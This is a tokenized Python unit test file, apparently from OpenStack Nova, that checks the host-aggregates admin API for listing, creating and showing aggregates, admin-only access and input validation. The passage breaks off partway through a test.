DECL|function|_make_agg_obj
name|'def'
name|'_make_agg_obj'
op|'('
name|'agg_dict'
op|')'
op|':'
newline|'\n'
indent|' '
name|'return'
name|'objects'
op|'.'
name|'Aggregate'
op|'('
op|'**'
name|'agg_dict'
op|')'
newline|'\n'
nl|'\n'
nl|'\n'
DECL|function|_make_agg_list
dedent|''
name|'def'
name|'_make_agg_list'
op|'('
name|'agg_list'
op|')'
op|':'
newline|'\n'
indent|' '
name|'return'
name|'objects'
op|'.'
name|'AggregateList'
op|'('
name|'objects'
op|'='
op|'['
name|'_make_agg_obj'
op|'('
name|'a'
op|')'
name|'for'
name|'a'
name|'in'
name|'agg_list'
op|']'
op|')'
newline|'\n'
nl|'\n'
nl|'\n'
DECL|function|_transform_aggregate_az
dedent|''
name|'def'
name|'_transform_aggregate_az'
op|'('
name|'agg_dict'
op|')'
op|':'
newline|'\n'
comment|'# the Aggregate object looks for availability_zone within metadata,'
nl|'\n'
comment|'# so if availability_zone is in the top-level dict, move it down into'
nl|'\n'
comment|'# metadata. We also have to delete the key from the top-level dict because'
nl|'\n'
comment|'# availability_zone is a read-only property on the Aggregate object'
nl|'\n'
indent|' '
name|'md'
op|'='
name|'agg_dict'
op|'.'
name|'get'
op|'('
string|"'metadata'"
op|','
op|'{'
op|'}'
op|')'
newline|'\n'
name|'if'
string|"'availability_zone'"
name|'in'
name|'agg_dict'
op|':'
newline|'\n'
indent|' '
name|'md'
op|'['
string|"'availability_zone'"
op|']'
op|'='
name|'agg_dict'
op|'['
string|"'availability_zone'"
op|']'
newline|'\n'
name|'del'
name|'agg_dict'
op|'['
string|"'availability_zone'"
op|']'
newline|'\n'
name|'agg_dict'
op|'['
string|"'metadata'"
op|']'
op|'='
name|'md'
newline|'\n'
dedent|''
name|'return'
name|'agg_dict'
newline|'\n'
nl|'\n'
nl|'\n'
DECL|function|_transform_aggregate_list_azs
dedent|''
name|'def'
name|'_transform_aggregate_list_azs'
op|'('
name|'agg_list'
op|')'
op|':'
newline|'\n'
indent|' '
name|'for'
name|'agg_dict'
name|'in'
name|'agg_list'
op|':'
newline|'\n'
indent|' '
name|'yield'
name|'_transform_aggregate_az'
op|'('
name|'agg_dict'
op|')'
newline|'\n'
nl|'\n'
nl|'\n'
DECL|variable|AGGREGATE_LIST
dedent|''
dedent|''
name|'AGGREGATE_LIST'
op|'='
op|'['
nl|'\n'
op|'{'
string|'"name"'
op|':'
string|'"aggregate1"'
op|','
string|'"id"'
op|':'
string|'"1"'
op|','
nl|'\n'
string|'"metadata"'
op|':'
op|'{'
string|'"availability_zone"'
op|':'
string|'"nova1"'
op|'}'
op|'}'
op|','
nl|'\n'
op|'{'
string|'"name"'
op|':'
string|'"aggregate2"'
op|','
string|'"id"'
op|':'
string|'"2"'
op|','
nl|'\n'
string|'"metadata"'
op|':'
op|'{'
string|'"availability_zone"'
op|':'
string|'"nova1"'
op|'}'
op|'}'
op|','
nl|'\n'
op|'{'
string|'"name"'
op|':'
string|'"aggregate3"'
op|','
string|'"id"'
op|':'
string|'"3"'
op|','
nl|'\n'
string|'"metadata"'
op|':'
op|'{'
string|'"availability_zone"'
op|':'
string|'"nova2"'
op|'}'
op|'}'
op|','
nl|'\n'
op|'{'
string|'"name"'
op|':'
string|'"aggregate1"'
op|','
string|'"id"'
op|':'
string|'"4"'
op|','
nl|'\n'
string|'"metadata"'
op|':'
op|'{'
string|'"availability_zone"'
op|':'
string|'"nova1"'
op|'}'
op|'}'
op|']'
newline|'\n'
DECL|variable|AGGREGATE_LIST
name|'AGGREGATE_LIST'
op|'='
name|'_make_agg_list'
op|'('
name|'AGGREGATE_LIST'
op|')'
newline|'\n'
nl|'\n'
DECL|variable|AGGREGATE
name|'AGGREGATE'
op|'='
op|'{'
string|'"name"'
op|':'
string|'"aggregate1"'
op|','
nl|'\n'
string|'"id"'
op|':'
string|'"1"'
op|','
nl|'\n'
string|'"metadata"'
op|':'
op|'{'
string|'"foo"'
op|':'
string|'"bar"'
op|','
nl|'\n'
string|'"availability_zone"'
op|':'
string|'"nova1"'
op|'}'
op|','
nl|'\n'
string|'"hosts"'
op|':'
op|'['
string|'"host1"'
op|','
string|'"host2"'
op|']'
op|'}'
newline|'\n'
DECL|variable|AGGREGATE
name|'AGGREGATE'
op|'='
name|'_make_agg_obj'
op|'('
name|'AGGREGATE'
op|')'
newline|'\n'
nl|'\n'
DECL|variable|FORMATTED_AGGREGATE
name|'FORMATTED_AGGREGATE'
op|'='
op|'{'
string|'"name"'
op|':'
string|'"aggregate1"'
op|','
nl|'\n'
string|'"id"'
op|':'
string|'"1"'
op|','
nl|'\n'
string|'"metadata"'
op|':'
op|'{'
string|'"availability_zone"'
op|':'
string|'"nova1"'
op|'}'
op|'}'
newline|'\n'
DECL|variable|FORMATTED_AGGREGATE
name|'FORMATTED_AGGREGATE'
op|'='
name|'_make_agg_obj'
op|'('
name|'FORMATTED_AGGREGATE'
op|')'
newline|'\n'
nl|'\n'
nl|'\n'
DECL|class|FakeRequest
name|'class'
name|'FakeRequest'
op|'('
name|'object'
op|')'
op|':'
newline|'\n'
DECL|variable|environ
indent|' '
name|'environ'
op|'='
op|'{'
string|'"nova.context"'
op|':'
name|'context'
op|'.'
name|'get_admin_context'
op|'('
op|')'
op|'}'
newline|'\n'
nl|'\n'
nl|'\n'
DECL|class|AggregateTestCaseV21
dedent|''
name|'class'
name|'AggregateTestCaseV21'
op|'('
name|'test'
op|'.'
name|'NoDBTestCase'
op|')'
op|':'
newline|'\n'
indent|' '
string|'"""Test Case for aggregates admin api."""'
newline|'\n'
nl|'\n'
DECL|variable|add_host
name|'add_host'
op|'='
string|"'self.controller._add_host'"
newline|'\n'
DECL|variable|remove_host
name|'remove_host'
op|'='
string|"'self.controller._remove_host'"
newline|'\n'
DECL|variable|set_metadata
name|'set_metadata'
op|'='
string|"'self.controller._set_metadata'"
newline|'\n'
DECL|variable|bad_request
name|'bad_request'
op|'='
name|'exception'
op|'.'
name|'ValidationError'
newline|'\n'
nl|'\n'
DECL|member|_set_up
name|'def'
name|'_set_up'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'controller'
op|'='
name|'aggregates_v21'
op|'.'
name|'AggregateController'
op|'('
op|')'
newline|'\n'
name|'self'
op|'.'
name|'req'
op|'='
name|'fakes'
op|'.'
name|'HTTPRequest'
op|'.'
name|'blank'
op|'('
string|"'/v2/os-aggregates'"
op|','
nl|'\n'
name|'use_admin_context'
op|'='
name|'True'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'user_req'
op|'='
name|'fakes'
op|'.'
name|'HTTPRequest'
op|'.'
name|'blank'
op|'('
string|"'/v2/os-aggregates'"
op|')'
newline|'\n'
name|'self'
op|'.'
name|'context'
op|'='
name|'self'
op|'.'
name|'req'
op|'.'
name|'environ'
op|'['
string|"'nova.context'"
op|']'
newline|'\n'
nl|'\n'
DECL|member|setUp
dedent|''
name|'def'
name|'setUp'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'super'
op|'('
name|'AggregateTestCaseV21'
op|','
name|'self'
op|')'
op|'.'
name|'setUp'
op|'('
op|')'
newline|'\n'
name|'self'
op|'.'
name|'_set_up'
op|'('
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_index
dedent|''
name|'def'
name|'test_index'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
DECL|function|stub_list_aggregates
indent|' '
name|'def'
name|'stub_list_aggregates'
op|'('
name|'context'
op|')'
op|':'
newline|'\n'
indent|' '
name|'if'
name|'context'
name|'is'
name|'None'
op|':'
newline|'\n'
indent|' '
name|'raise'
name|'Exception'
op|'('
op|')'
newline|'\n'
dedent|''
name|'return'
name|'AGGREGATE_LIST'
newline|'\n'
dedent|''
name|'self'
op|'.'
name|'stubs'
op|'.'
name|'Set'
op|'('
name|'self'
op|'.'
name|'controller'
op|'.'
name|'api'
op|','
string|"'get_aggregate_list'"
op|','
nl|'\n'
name|'stub_list_aggregates'
op|')'
newline|'\n'
nl|'\n'
name|'result'
op|'='
name|'self'
op|'.'
name|'controller'
op|'.'
name|'index'
op|'('
name|'self'
op|'.'
name|'req'
op|')'
newline|'\n'
name|'result'
op|'='
name|'_transform_aggregate_list_azs'
op|'('
name|'result'
op|'['
string|"'aggregates'"
op|']'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'_assert_agg_data'
op|'('
name|'AGGREGATE_LIST'
op|','
name|'_make_agg_list'
op|'('
name|'result'
op|')'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_index_no_admin
dedent|''
name|'def'
name|'test_index_no_admin'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'exception'
op|'.'
name|'PolicyNotAuthorized'
op|','
nl|'\n'
name|'self'
op|'.'
name|'controller'
op|'.'
name|'index'
op|','
nl|'\n'
name|'self'
op|'.'
name|'user_req'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_create
dedent|''
name|'def'
name|'test_create'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
DECL|function|stub_create_aggregate
indent|' '
name|'def'
name|'stub_create_aggregate'
op|'('
name|'context'
op|','
name|'name'
op|','
name|'availability_zone'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertEqual'
op|'('
name|'context'
op|','
name|'self'
op|'.'
name|'context'
op|','
string|'"context"'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'assertEqual'
op|'('
string|'"test"'
op|','
name|'name'
op|','
string|'"name"'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'assertEqual'
op|'('
string|'"nova1"'
op|','
name|'availability_zone'
op|','
string|'"availability_zone"'
op|')'
newline|'\n'
name|'return'
name|'AGGREGATE'
newline|'\n'
dedent|''
name|'self'
op|'.'
name|'stubs'
op|'.'
name|'Set'
op|'('
name|'self'
op|'.'
name|'controller'
op|'.'
name|'api'
op|','
string|'"create_aggregate"'
op|','
nl|'\n'
name|'stub_create_aggregate'
op|')'
newline|'\n'
nl|'\n'
name|'result'
op|'='
name|'self'
op|'.'
name|'controller'
op|'.'
name|'create'
op|'('
name|'self'
op|'.'
name|'req'
op|','
name|'body'
op|'='
op|'{'
string|'"aggregate"'
op|':'
nl|'\n'
op|'{'
string|'"name"'
op|':'
string|'"test"'
op|','
nl|'\n'
string|'"availability_zone"'
op|':'
string|'"nova1"'
op|'}'
op|'}'
op|')'
newline|'\n'
name|'result'
op|'='
name|'_transform_aggregate_az'
op|'('
name|'result'
op|'['
string|"'aggregate'"
op|']'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'_assert_agg_data'
op|'('
name|'FORMATTED_AGGREGATE'
op|','
name|'_make_agg_obj'
op|'('
name|'result'
op|')'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_create_no_admin
dedent|''
name|'def'
name|'test_create_no_admin'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'exception'
op|'.'
name|'PolicyNotAuthorized'
op|','
nl|'\n'
name|'self'
op|'.'
name|'controller'
op|'.'
name|'create'
op|','
name|'self'
op|'.'
name|'user_req'
op|','
nl|'\n'
name|'body'
op|'='
op|'{'
string|'"aggregate"'
op|':'
nl|'\n'
op|'{'
string|'"name"'
op|':'
string|'"test"'
op|','
nl|'\n'
string|'"availability_zone"'
op|':'
string|'"nova1"'
op|'}'
op|'}'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_create_with_duplicate_aggregate_name
dedent|''
name|'def'
name|'test_create_with_duplicate_aggregate_name'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
DECL|function|stub_create_aggregate
indent|' '
name|'def'
name|'stub_create_aggregate'
op|'('
name|'context'
op|','
name|'name'
op|','
name|'availability_zone'
op|')'
op|':'
newline|'\n'
indent|' '
name|'raise'
name|'exception'
op|'.'
name|'AggregateNameExists'
op|'('
name|'aggregate_name'
op|'='
name|'name'
op|')'
newline|'\n'
dedent|''
name|'self'
op|'.'
name|'stubs'
op|'.'
name|'Set'
op|'('
name|'self'
op|'.'
name|'controller'
op|'.'
name|'api'
op|','
string|'"create_aggregate"'
op|','
nl|'\n'
name|'stub_create_aggregate'
op|')'
newline|'\n'
nl|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'exc'
op|'.'
name|'HTTPConflict'
op|','
name|'self'
op|'.'
name|'controller'
op|'.'
name|'create'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
name|'body'
op|'='
op|'{'
string|'"aggregate"'
op|':'
nl|'\n'
op|'{'
string|'"name"'
op|':'
string|'"test"'
op|','
nl|'\n'
string|'"availability_zone"'
op|':'
string|'"nova1"'
op|'}'
op|'}'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_create_with_incorrect_availability_zone
dedent|''
name|'def'
name|'test_create_with_incorrect_availability_zone'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
DECL|function|stub_create_aggregate
indent|' '
name|'def'
name|'stub_create_aggregate'
op|'('
name|'context'
op|','
name|'name'
op|','
name|'availability_zone'
op|')'
op|':'
newline|'\n'
indent|' '
name|'raise'
name|'exception'
op|'.'
name|'InvalidAggregateAction'
op|'('
name|'action'
op|'='
string|"'create_aggregate'"
op|','
nl|'\n'
name|'aggregate_id'
op|'='
string|'"\'N/A\'"'
op|','
nl|'\n'
name|'reason'
op|'='
string|"'invalid zone'"
op|')'
newline|'\n'
nl|'\n'
dedent|''
name|'self'
op|'.'
name|'stubs'
op|'.'
name|'Set'
op|'('
name|'self'
op|'.'
name|'controller'
op|'.'
name|'api'
op|','
string|'"create_aggregate"'
op|','
nl|'\n'
name|'stub_create_aggregate'
op|')'
newline|'\n'
nl|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'exc'
op|'.'
name|'HTTPBadRequest'
op|','
nl|'\n'
name|'self'
op|'.'
name|'controller'
op|'.'
name|'create'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
name|'body'
op|'='
op|'{'
string|'"aggregate"'
op|':'
nl|'\n'
op|'{'
string|'"name"'
op|':'
string|'"test"'
op|','
nl|'\n'
string|'"availability_zone"'
op|':'
string|'"nova_bad"'
op|'}'
op|'}'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_create_with_no_aggregate
dedent|''
name|'def'
name|'test_create_with_no_aggregate'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'bad_request'
op|','
name|'self'
op|'.'
name|'controller'
op|'.'
name|'create'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
name|'body'
op|'='
op|'{'
string|'"foo"'
op|':'
nl|'\n'
op|'{'
string|'"name"'
op|':'
string|'"test"'
op|','
nl|'\n'
string|'"availability_zone"'
op|':'
string|'"nova1"'
op|'}'
op|'}'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_create_with_no_name
dedent|''
name|'def'
name|'test_create_with_no_name'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'bad_request'
op|','
name|'self'
op|'.'
name|'controller'
op|'.'
name|'create'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
name|'body'
op|'='
op|'{'
string|'"aggregate"'
op|':'
nl|'\n'
op|'{'
string|'"foo"'
op|':'
string|'"test"'
op|','
nl|'\n'
string|'"availability_zone"'
op|':'
string|'"nova1"'
op|'}'
op|'}'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_create_name_with_leading_trailing_spaces
dedent|''
name|'def'
name|'test_create_name_with_leading_trailing_spaces'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'bad_request'
op|','
name|'self'
op|'.'
name|'controller'
op|'.'
name|'create'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
name|'body'
op|'='
op|'{'
string|'"aggregate"'
op|':'
nl|'\n'
op|'{'
string|'"name"'
op|':'
string|'" test "'
op|','
nl|'\n'
string|'"availability_zone"'
op|':'
string|'"nova1"'
op|'}'
op|'}'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_create_name_with_leading_trailing_spaces_compat_mode
dedent|''
name|'def'
name|'test_create_name_with_leading_trailing_spaces_compat_mode'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
nl|'\n'
DECL|function|fake_mock_aggs
indent|' '
name|'def'
name|'fake_mock_aggs'
op|'('
name|'context'
op|','
name|'name'
op|','
name|'az'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertEqual'
op|'('
string|"'test'"
op|','
name|'name'
op|')'
newline|'\n'
name|'return'
name|'AGGREGATE'
newline|'\n'
nl|'\n'
dedent|''
name|'with'
name|'mock'
op|'.'
name|'patch'
op|'.'
name|'object'
op|'('
name|'compute_api'
op|'.'
name|'AggregateAPI'
op|','
nl|'\n'
string|"'create_aggregate'"
op|')'
name|'as'
name|'mock_aggs'
op|':'
newline|'\n'
indent|' '
name|'mock_aggs'
op|'.'
name|'side_effect'
op|'='
name|'fake_mock_aggs'
newline|'\n'
name|'self'
op|'.'
name|'req'
op|'.'
name|'set_legacy_v2'
op|'('
op|')'
newline|'\n'
name|'self'
op|'.'
name|'controller'
op|'.'
name|'create'
op|'('
name|'self'
op|'.'
name|'req'
op|','
nl|'\n'
name|'body'
op|'='
op|'{'
string|'"aggregate"'
op|':'
nl|'\n'
op|'{'
string|'"name"'
op|':'
string|'" test "'
op|','
nl|'\n'
string|'"availability_zone"'
op|':'
string|'"nova1"'
op|'}'
op|'}'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_create_with_no_availability_zone
dedent|''
dedent|''
name|'def'
name|'test_create_with_no_availability_zone'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
DECL|function|stub_create_aggregate
indent|' '
name|'def'
name|'stub_create_aggregate'
op|'('
name|'context'
op|','
name|'name'
op|','
name|'availability_zone'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertEqual'
op|'('
name|'context'
op|','
name|'self'
op|'.'
name|'context'
op|','
string|'"context"'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'assertEqual'
op|'('
string|'"test"'
op|','
name|'name'
op|','
string|'"name"'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'assertIsNone'
op|'('
name|'availability_zone'
op|','
string|'"availability_zone"'
op|')'
newline|'\n'
name|'return'
name|'AGGREGATE'
newline|'\n'
dedent|''
name|'self'
op|'.'
name|'stubs'
op|'.'
name|'Set'
op|'('
name|'self'
op|'.'
name|'controller'
op|'.'
name|'api'
op|','
string|'"create_aggregate"'
op|','
nl|'\n'
name|'stub_create_aggregate'
op|')'
newline|'\n'
nl|'\n'
name|'result'
op|'='
name|'self'
op|'.'
name|'controller'
op|'.'
name|'create'
op|'('
name|'self'
op|'.'
name|'req'
op|','
nl|'\n'
name|'body'
op|'='
op|'{'
string|'"aggregate"'
op|':'
op|'{'
string|'"name"'
op|':'
string|'"test"'
op|'}'
op|'}'
op|')'
newline|'\n'
nl|'\n'
name|'result'
op|'='
name|'_transform_aggregate_az'
op|'('
name|'result'
op|'['
string|"'aggregate'"
op|']'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'_assert_agg_data'
op|'('
name|'FORMATTED_AGGREGATE'
op|','
name|'_make_agg_obj'
op|'('
name|'result'
op|')'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_create_with_null_name
dedent|''
name|'def'
name|'test_create_with_null_name'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'bad_request'
op|','
name|'self'
op|'.'
name|'controller'
op|'.'
name|'create'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
name|'body'
op|'='
op|'{'
string|'"aggregate"'
op|':'
nl|'\n'
op|'{'
string|'"name"'
op|':'
string|'""'
op|','
nl|'\n'
string|'"availability_zone"'
op|':'
string|'"nova1"'
op|'}'
op|'}'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_create_with_name_too_long
dedent|''
name|'def'
name|'test_create_with_name_too_long'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'bad_request'
op|','
name|'self'
op|'.'
name|'controller'
op|'.'
name|'create'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
name|'body'
op|'='
op|'{'
string|'"aggregate"'
op|':'
nl|'\n'
op|'{'
string|'"name"'
op|':'
string|'"x"'
op|'*'
number|'256'
op|','
nl|'\n'
string|'"availability_zone"'
op|':'
string|'"nova1"'
op|'}'
op|'}'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_create_with_availability_zone_too_long
dedent|''
name|'def'
name|'test_create_with_availability_zone_too_long'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'bad_request'
op|','
name|'self'
op|'.'
name|'controller'
op|'.'
name|'create'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
name|'body'
op|'='
op|'{'
string|'"aggregate"'
op|':'
nl|'\n'
op|'{'
string|'"name"'
op|':'
string|'"test"'
op|','
nl|'\n'
string|'"availability_zone"'
op|':'
string|'"x"'
op|'*'
number|'256'
op|'}'
op|'}'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_create_availability_zone_with_leading_trailing_spaces
dedent|''
name|'def'
name|'test_create_availability_zone_with_leading_trailing_spaces'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'bad_request'
op|','
name|'self'
op|'.'
name|'controller'
op|'.'
name|'create'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
name|'body'
op|'='
op|'{'
string|'"aggregate"'
op|':'
nl|'\n'
op|'{'
string|'"name"'
op|':'
string|'"test"'
op|','
nl|'\n'
string|'"availability_zone"'
op|':'
string|'" nova1 "'
op|'}'
op|'}'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_create_availabiltiy_zone_with_leading_trailing_spaces_compat_mode
dedent|''
name|'def'
name|'test_create_availabiltiy_zone_with_leading_trailing_spaces_compat_mode'
op|'('
nl|'\n'
name|'self'
op|')'
op|':'
newline|'\n'
nl|'\n'
DECL|function|fake_mock_aggs
indent|' '
name|'def'
name|'fake_mock_aggs'
op|'('
name|'context'
op|','
name|'name'
op|','
name|'az'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertEqual'
op|'('
string|"'nova1'"
op|','
name|'az'
op|')'
newline|'\n'
name|'return'
name|'AGGREGATE'
newline|'\n'
nl|'\n'
dedent|''
name|'with'
name|'mock'
op|'.'
name|'patch'
op|'.'
name|'object'
op|'('
name|'compute_api'
op|'.'
name|'AggregateAPI'
op|','
nl|'\n'
string|"'create_aggregate'"
op|')'
name|'as'
name|'mock_aggs'
op|':'
newline|'\n'
indent|' '
name|'mock_aggs'
op|'.'
name|'side_effect'
op|'='
name|'fake_mock_aggs'
newline|'\n'
name|'self'
op|'.'
name|'req'
op|'.'
name|'set_legacy_v2'
op|'('
op|')'
newline|'\n'
name|'self'
op|'.'
name|'controller'
op|'.'
name|'create'
op|'('
name|'self'
op|'.'
name|'req'
op|','
nl|'\n'
name|'body'
op|'='
op|'{'
string|'"aggregate"'
op|':'
nl|'\n'
op|'{'
string|'"name"'
op|':'
string|'"test"'
op|','
nl|'\n'
string|'"availability_zone"'
op|':'
string|'" nova1 "'
op|'}'
op|'}'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_create_with_empty_availability_zone
dedent|''
dedent|''
name|'def'
name|'test_create_with_empty_availability_zone'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'bad_request'
op|','
name|'self'
op|'.'
name|'controller'
op|'.'
name|'create'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
name|'body'
op|'='
op|'{'
string|'"aggregate"'
op|':'
nl|'\n'
op|'{'
string|'"name"'
op|':'
string|'"test"'
op|','
nl|'\n'
string|'"availability_zone"'
op|':'
string|'""'
op|'}'
op|'}'
op|')'
newline|'\n'
nl|'\n'
dedent|''
op|'@'
name|'mock'
op|'.'
name|'patch'
op|'('
string|"'nova.compute.api.AggregateAPI.create_aggregate'"
op|')'
newline|'\n'
DECL|member|test_create_with_none_availability_zone
name|'def'
name|'test_create_with_none_availability_zone'
op|'('
name|'self'
op|','
name|'mock_create_agg'
op|')'
op|':'
newline|'\n'
indent|' '
name|'mock_create_agg'
op|'.'
name|'return_value'
op|'='
name|'objects'
op|'.'
name|'Aggregate'
op|'('
name|'self'
op|'.'
name|'context'
op|','
nl|'\n'
name|'name'
op|'='
string|"'test'"
op|','
nl|'\n'
name|'uuid'
op|'='
name|'uuid'
op|'.'
name|'uuid4'
op|'('
op|')'
op|','
nl|'\n'
name|'hosts'
op|'='
op|'['
op|']'
op|','
nl|'\n'
name|'metadata'
op|'='
op|'{'
op|'}'
op|')'
newline|'\n'
name|'body'
op|'='
op|'{'
string|'"aggregate"'
op|':'
op|'{'
string|'"name"'
op|':'
string|'"test"'
op|','
nl|'\n'
string|'"availability_zone"'
op|':'
name|'None'
op|'}'
op|'}'
newline|'\n'
name|'result'
op|'='
name|'self'
op|'.'
name|'controller'
op|'.'
name|'create'
op|'('
name|'self'
op|'.'
name|'req'
op|','
name|'body'
op|'='
name|'body'
op|')'
newline|'\n'
name|'mock_create_agg'
op|'.'
name|'assert_called_once_with'
op|'('
name|'self'
op|'.'
name|'context'
op|','
string|"'test'"
op|','
name|'None'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'assertEqual'
op|'('
name|'result'
op|'['
string|"'aggregate'"
op|']'
op|'['
string|"'name'"
op|']'
op|','
string|"'test'"
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_create_with_extra_invalid_arg
dedent|''
name|'def'
name|'test_create_with_extra_invalid_arg'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'bad_request'
op|','
name|'self'
op|'.'
name|'controller'
op|'.'
name|'create'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
name|'body'
op|'='
op|'{'
string|'"name"'
op|':'
string|'"test"'
op|','
nl|'\n'
string|'"availability_zone"'
op|':'
string|'"nova1"'
op|','
nl|'\n'
string|'"foo"'
op|':'
string|"'bar'"
op|'}'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_show
dedent|''
name|'def'
name|'test_show'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
DECL|function|stub_get_aggregate
indent|' '
name|'def'
name|'stub_get_aggregate'
op|'('
name|'context'
op|','
name|'id'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertEqual'
op|'('
name|'context'
op|','
name|'self'
op|'.'
name|'context'
op|','
string|'"context"'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'assertEqual'
op|'('
string|'"1"'
op|','
name|'id'
op|','
string|'"id"'
op|')'
newline|'\n'
name|'return'
name|'AGGREGATE'
newline|'\n'
dedent|''
name|'self'
op|'.'
name|'stubs'
op|'.'
name|'Set'
op|'('
name|'self'
op|'.'
name|'controller'
op|'.'
name|'api'
op|','
string|"'get_aggregate'"
op|','
nl|'\n'
name|'stub_get_aggregate'
op|')'
newline|'\n'
nl|'\n'
name|'aggregate'
op|'='
name|'self'
op|'.'
name|'controller'
op|'.'
name|'show'
op|'('
name|'self'
op|'.'
name|'req'
op|','
string|'"1"'
op|')'
newline|'\n'
name|'aggregate'
op|'='
name|'_transform_aggregate_az'
op|'('
name|'aggregate'
op|'['
string|"'aggregate'"
op|']'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'_assert_agg_data'
op|'('
name|'AGGREGATE'
op|','
name|'_make_agg_obj'
op|'('
name|'aggregate'
op|')'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_show_no_admin
dedent|''
name|'def'
name|'test_show_no_admin'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'exception'
op|'.'
name|'PolicyNotAuthorized'
op|','
nl|'\n'
name|'self'
op|'.'
name|'controller'
op|'.'
name|'show'
op|','
nl|'\n'
name|'self'
op|'.'
name|'user_req'
op|','
string|'"1"'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_show_with_invalid_id
dedent|''
name|'def'
name|'test_show_with_invalid_id'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
DECL|function|stub_get_aggregate
indent|' '
name|'def'
name|'stub_get_aggregate'
op|'('
name|'context'
op|','
name|'id'
op|')'
op|':'
newline|'\n'
indent|' '
name|'raise'
name|'exception'
op|'.'
name|'AggregateNotFound'
op|'('
name|'aggregate_id'
op|'='
number|'2'
op|')'
newline|'\n'
nl|'\n'
dedent|''
name|'self'
op|'.'
name|'stubs'
op|'.'
name|'Set'
op|'('
name|'self'
op|'.'
name|'controller'
op|'.'
name|'api'
op|','
string|"'get_aggregate'"
op|','
nl|'\n'
name|'stub_get_aggregate'
op|')'
newline|'\n'
nl|'\n'
name|'self'
